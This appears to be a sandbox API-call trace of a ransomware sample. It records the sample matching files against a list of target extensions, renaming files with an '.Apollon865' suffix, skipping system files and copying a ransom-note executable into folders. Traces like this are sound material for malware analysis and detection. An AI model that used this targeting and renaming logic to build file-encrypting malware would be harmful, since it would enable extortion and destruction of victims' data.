	[0050.852] lstrlenW (lpString="accdt") returned 5
	[0050.852] lstrcmpiW (lpString1="e.sdf", lpString2="accdt") returned 1
	[0050.853] lstrlenW (lpString="accdw") returned 5
	[0050.853] lstrcmpiW (lpString1="e.sdf", lpString2="accdw") returned 1
	[0050.853] lstrlenW (lpString="accft") returned 5
	[0050.853] lstrcmpiW (lpString1="e.sdf", lpString2="accft") returned 1
	[0050.853] lstrlenW (lpString="adb") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0050.853] lstrlenW (lpString="adb") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="adb") returned 1
	[0050.853] lstrlenW (lpString="ade") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="ade") returned 1
	[0050.853] lstrlenW (lpString="adf") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="adf") returned 1
	[0050.853] lstrlenW (lpString="adn") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="adn") returned 1
	[0050.853] lstrlenW (lpString="adp") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="adp") returned 1
	[0050.853] lstrlenW (lpString="alf") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="alf") returned 1
	[0050.853] lstrlenW (lpString="ask") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="ask") returned 1
	[0050.853] lstrlenW (lpString="btr") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="btr") returned 1
	[0050.853] lstrlenW (lpString="cat") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="cat") returned 1
	[0050.853] lstrlenW (lpString="cdb") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="cdb") returned 1
	[0050.853] lstrlenW (lpString="ckp") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="ckp") returned 1
	[0050.853] lstrlenW (lpString="cma") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="cma") returned 1
	[0050.853] lstrlenW (lpString="cpd") returned 3
	[0050.853] lstrcmpiW (lpString1="sdf", lpString2="cpd") returned 1
	[0050.853] lstrlenW (lpString="dacpac") returned 6
	[0050.854] lstrcmpiW (lpString1="se.sdf", lpString2="dacpac") returned 1
	[0050.854] lstrlenW (lpString="dad") returned 3
	[0050.854] lstrcmpiW (lpString1="sdf", lpString2="dad") returned 1
	[0050.854] lstrlenW (lpString="dadiagrams") returned 10
	[0050.854] lstrcmpiW (lpString1="tabase.sdf", lpString2="dadiagrams") returned 1
	[0050.854] lstrlenW (lpString="daschema") returned 8
	[0050.854] lstrcmpiW (lpString1="base.sdf", lpString2="daschema") returned -1
	[0050.854] lstrlenW (lpString="db-journal") returned 10
	[0050.854] lstrcmpiW (lpString1="tabase.sdf", lpString2="db-journal") returned 1
	[0050.854] lstrlenW (lpString="db-shm") returned 6
	[0050.854] lstrcmpiW (lpString1="se.sdf", lpString2="db-shm") returned 1
	[0050.854] lstrlenW (lpString="db-wal") returned 6
	[0050.854] lstrcmpiW (lpString1="se.sdf", lpString2="db-wal") returned 1
	[0050.854] lstrlenW (lpString="dbc") returned 3
	[0050.854] lstrcmpiW (lpString1="sdf", lpString2="dbc") returned 1
	[0050.854] lstrlenW (lpString="dbs") returned 3
	[0050.854] lstrcmpiW (lpString1="sdf", lpString2="dbs") returned 1
	[0050.854] lstrlenW (lpString="dbt") returned 3
	[0050.854] lstrcmpiW (lpString1="sdf", lpString2="dbt") returned 1
	[0050.854] lstrlenW (lpString="dbv") returned 3
	[0050.854] lstrcmpiW (lpString1="sdf", lpString2="dbv") returned 1
	[0050.854] lstrlenW (lpString="dbx") returned 3
	[0050.854] lstrcmpiW (lpString1="sdf", lpString2="dbx") returned 1
	[0050.854] lstrlenW (lpString="dcb") returned 3
	[0050.854] lstrcmpiW (lpString1="sdf", lpString2="dcb") returned 1
	[0050.854] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.Apollon865") returned 72
	[0050.854] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.Apollon865" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.apollon865"), dwFlags=0x1) returned 0
	[0050.854] GetLastError () returned 0x20
	[0050.855] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf MoveFileEx error 32\r\n") returned 91
	[0050.855] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf MoveFileEx error 32\r\n") returned 91
	[0050.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0050.855] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16d9
	[0050.855] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5b, lpOverlapped=0x0) returned 1
	[0050.855] CloseHandle (hObject=0x14c) returned 1
	[0050.855] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0050.855] CloseHandle (hObject=0x0) returned 0
	[0050.855] CloseHandle (hObject=0x0) returned 0
	[0050.855] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d452560, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0
	[0050.855] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.855] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0050.855] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\RAC\\Outbound", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound"
	[0050.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb70 | out: hHeap=0x580000) returned 1
	[0050.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0050.855] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned 37
	[0050.855] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\RAC\\Outbound" | out: lpString1="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound"
	[0050.855] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.856] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\outbound\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.856] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.856] GetLastError () returned 0x0
	[0050.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.856] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.856] CloseHandle (hObject=0x15c) returned 1
	[0050.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.856] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.856] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.856] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.895] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.897] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.899] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.908] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.908] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.908] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.913] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.914] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.916] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.916] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.916] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.916] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0050.916] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform"
	[0050.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0050.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0050.916] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 57
	[0050.916] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform"
	[0050.916] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.917] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.917] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.917] GetLastError () returned 0x0
	[0050.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.917] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.917] CloseHandle (hObject=0x15c) returned 1
	[0050.917] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.917] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.917] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.918] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.918] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.918] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.918] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.918] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.918] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.918] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.918] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.918] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="Apollon865.txt.exe") returned 1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2=".") returned 1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="..") returned 1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="windows") returned -1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="bootmgr") returned 1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="temp") returned -1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="pagefile.sys") returned -1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="boot") returned 1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="ids.txt") returned -1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="ntuser.dat") returned -1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="perflogs") returned -1
	[0050.918] lstrcmpiW (lpString1="Cache", lpString2="MSBuild") returned -1
	[0050.918] lstrlenW (lpString="Cache") returned 5
	[0050.918] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned 59
	[0050.918] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Cache" | out: lpString1="Cache") returned="Cache"
	[0050.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0050.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf898
	[0050.918] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0050.918] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9f0d70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.919] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.919] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="Apollon865.txt.exe") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2=".") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="..") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="windows") returned -1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="bootmgr") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="temp") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="pagefile.sys") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="boot") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="ids.txt") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="ntuser.dat") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="perflogs") returned 1
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2="MSBuild") returned 1
	[0050.919] lstrlenW (lpString="tokens.dat") returned 10
	[0050.919] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 63
	[0050.919] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="tokens.dat" | out: lpString1="tokens.dat") returned="tokens.dat"
	[0050.919] lstrlenW (lpString="tokens.dat") returned 10
	[0050.919] lstrlenW (lpString="Apollon865") returned 10
	[0050.919] lstrlenW (lpString=".dll") returned 4
	[0050.919] lstrcmpiW (lpString1="tokens.dat", lpString2=".dll") returned 1
	[0050.920] lstrlenW (lpString=".lnk") returned 4
	[0050.920] lstrcmpiW (lpString1="tokens.dat", lpString2=".lnk") returned 1
	[0050.920] lstrlenW (lpString=".ini") returned 4
	[0050.920] lstrcmpiW (lpString1="tokens.dat", lpString2=".ini") returned 1
	[0050.920] lstrlenW (lpString=".sys") returned 4
	[0050.920] lstrcmpiW (lpString1="tokens.dat", lpString2=".sys") returned 1
	[0050.920] lstrlenW (lpString="tokens.dat") returned 10
	[0050.920] lstrlenW (lpString="bak") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0050.920] lstrlenW (lpString="ba_") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0050.920] lstrlenW (lpString="dbb") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0050.920] lstrlenW (lpString="vmdk") returned 4
	[0050.920] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0050.920] lstrlenW (lpString="rar") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0050.920] lstrlenW (lpString="zip") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0050.920] lstrlenW (lpString="tgz") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0050.920] lstrlenW (lpString="vbox") returned 4
	[0050.920] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0050.920] lstrlenW (lpString="vdi") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0050.920] lstrlenW (lpString="vhd") returned 3
	[0050.920] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0050.920] lstrlenW (lpString="vhdx") returned 4
	[0050.920] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0050.920] lstrlenW (lpString="avhd") returned 4
	[0050.920] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0050.920] lstrlenW (lpString="db") returned 2
	[0050.920] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0050.921] lstrlenW (lpString="db2") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0050.921] lstrlenW (lpString="db3") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0050.921] lstrlenW (lpString="dbf") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0050.921] lstrlenW (lpString="mdf") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0050.921] lstrlenW (lpString="mdb") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0050.921] lstrlenW (lpString="sql") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0050.921] lstrlenW (lpString="sqlite") returned 6
	[0050.921] lstrcmpiW (lpString1="ns.dat", lpString2="sqlite") returned -1
	[0050.921] lstrlenW (lpString="sqlite3") returned 7
	[0050.921] lstrcmpiW (lpString1="ens.dat", lpString2="sqlite3") returned -1
	[0050.921] lstrlenW (lpString="sqlitedb") returned 8
	[0050.921] lstrcmpiW (lpString1="kens.dat", lpString2="sqlitedb") returned -1
	[0050.921] lstrlenW (lpString="xml") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0050.921] lstrlenW (lpString="$er") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0050.921] lstrlenW (lpString="4dd") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0050.921] lstrlenW (lpString="4dl") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0050.921] lstrlenW (lpString="^^^") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0050.921] lstrlenW (lpString="abs") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0050.921] lstrlenW (lpString="abx") returned 3
	[0050.921] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0050.921] lstrlenW (lpString="accdb") returned 5
	[0050.922] lstrcmpiW (lpString1="s.dat", lpString2="accdb") returned 1
	[0050.922] lstrlenW (lpString="accdc") returned 5
	[0050.922] lstrcmpiW (lpString1="s.dat", lpString2="accdc") returned 1
	[0050.922] lstrlenW (lpString="accde") returned 5
	[0050.922] lstrcmpiW (lpString1="s.dat", lpString2="accde") returned 1
	[0050.922] lstrlenW (lpString="accdr") returned 5
	[0050.922] lstrcmpiW (lpString1="s.dat", lpString2="accdr") returned 1
	[0050.922] lstrlenW (lpString="accdt") returned 5
	[0050.922] lstrcmpiW (lpString1="s.dat", lpString2="accdt") returned 1
	[0050.922] lstrlenW (lpString="accdw") returned 5
	[0050.922] lstrcmpiW (lpString1="s.dat", lpString2="accdw") returned 1
	[0050.922] lstrlenW (lpString="accft") returned 5
	[0050.922] lstrcmpiW (lpString1="s.dat", lpString2="accft") returned 1
	[0050.922] lstrlenW (lpString="adb") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0050.922] lstrlenW (lpString="adb") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0050.922] lstrlenW (lpString="ade") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0050.922] lstrlenW (lpString="adf") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0050.922] lstrlenW (lpString="adn") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0050.922] lstrlenW (lpString="adp") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0050.922] lstrlenW (lpString="alf") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0050.922] lstrlenW (lpString="ask") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
